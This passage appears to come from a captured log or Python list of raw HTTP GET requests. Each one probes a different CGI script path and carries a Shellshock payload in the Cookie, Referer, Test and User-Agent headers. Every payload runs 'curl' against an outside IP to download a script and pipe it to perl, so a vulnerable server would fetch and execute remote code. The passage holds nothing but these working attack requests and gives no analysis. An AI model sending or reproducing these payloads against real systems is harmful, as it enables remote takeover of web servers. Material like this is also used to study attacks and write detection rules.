perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cgforum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ccvsblame.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cbmc/forums.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cartmanager.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/calendar/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cachemgr.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/cached_feed.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/c_download.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bulk/bulk.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/build.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bslist.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bsguest.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/boozt/admin/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/book.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bnbform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/blog/mt-load.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/blog/mt-check.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bizdb1-search.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bigconf.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bbs_forum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/BBS/bbs_forum.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bb-replog.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bb-rep.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bb-hostsvc.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bb-histlog.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bb-hist.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bb-ack.shHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/bannereditor.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/banner.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/badmin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/axs.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ax.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/ax-admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/auktion.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/auction/auction.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/AT-generate.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/AT-admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/astrocam.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/architext_query.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/AnyBoard.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/alienform.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/aglimpse.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/af.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/adminwww.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/adminhot.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/admin/setup.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/admin/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/admin.plHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/admin.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/adduser.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/addbanner.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/add_ftp.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/a1stats/a1disp4.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/a1stats/a1disp3.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/a1disp3.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/14all.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/14all-1.1.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/.namazu.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/.cobalt/message/message.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin/.cobalt/alert/service.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cgi-bin-sdb/printenvHTTP/1.0 HTTP/0.9\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /ccbill/whereami.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /catalog/index.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cartcart.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl', u'GET /cart.cgi HTTP/1.0\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nCookie: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nPragma: no-cache\r\nReferer: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nTest: () { :; }; curl http://202.143.160.141/lib21/index.cgi | perl\r\nUser-Agent: () { :; }; curl 